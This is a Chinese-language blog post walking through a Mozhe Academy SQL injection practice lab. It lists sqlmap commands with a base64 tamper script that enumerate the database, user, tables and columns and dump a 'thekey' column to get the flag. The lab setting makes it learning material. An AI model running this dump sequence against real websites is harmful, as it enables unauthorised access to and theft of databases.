最近在学习网络安全,挖洞避免不了要使用许多工具,使用著名注入工具sqlmap的时候,对于英语不怎么好的我就比较难受了,本来就不会使用,加之又是英语的,简直难受。上网找了好多详细教程,但是命令实在是太多,感觉自己不可能一下就全部学会,于是决定一点一点慢慢来,用实战来慢慢熟悉这个工具的使用-----我相信通过每一次的记录我会慢慢变强!
这是墨者学院一个SQL注入漏洞靶场:http://219.153.49.228:49835/show.php?id=MQo= 【目的是寻找flag】
【想练习的可以去墨者学院-->在线靶场-->web安全-->sql注入-->sql注入实战-MySQL】 不启动靶场进不去这个链接
进入网站提示的信息如下图所示:
从这个网页提示信息我们也可以窥视出一些东西:
- 它使用的数据库类型是Mysql
- key的值就存储于变量里面(很可能key值就是我们苦苦寻找的flag,那肯定是存储在数据库里面的)
-
先对其进行手工注入:你们懂得就是 在URL后面分别添加AND 1=1 和 AND 1=2,看两次返回结果是不是一样,不一样说明存在注入漏洞。不知道为啥我的两次返回界面都是空白的。
-
鉴于这种类型的URL存在注入可能性很大,那必然得用sqlmap跑一跑呐,不放过任何机会。
- 测试注入:sqlmap -u http://219.153.49.228:49835/show.php?id=MQo=
结果如下:
sqlmap返回信息显示:参数 id 可能不存在注入,可以尝试增加尝试等级(level),或者增加执行测试的风险(risk)。如果你觉得存在某种保护机制,可以使用tamper篡改注入数据。
- 根据上面提示信息我们增加level和tamper:sqlmap -u http://219.153.49.228:49835/show.php?id=MQo= --level=3 --tamper=base64encode
接下来就是常规拖库操作了:
- 先查一下数据库名:sqlmap -u http://219.153.49.228:49835/show.php?id=MQo= --level=3 --tamper=base64encode --current-db
【显示数据库名是test】
- 在查一下当前用户:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 --current-user
【显示当前用户是admin(权限等级挺高,有戏)】
- 查一下数据库test中有哪些表:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test --tables
【结果只有一个表:data】
- 查一下data表中有几列:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test -T data --columns
【结果显示有4列】
- 从上表中我们可以很清楚就看到thekey所在列的值就是我们苦苦追寻的flag,所以最后一步就是查询thekey的值:
sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test --tables -C thekey --dump
到此我们成功获取flag。
注:这只是我的练习具体过程,不是sqlmap命令详解。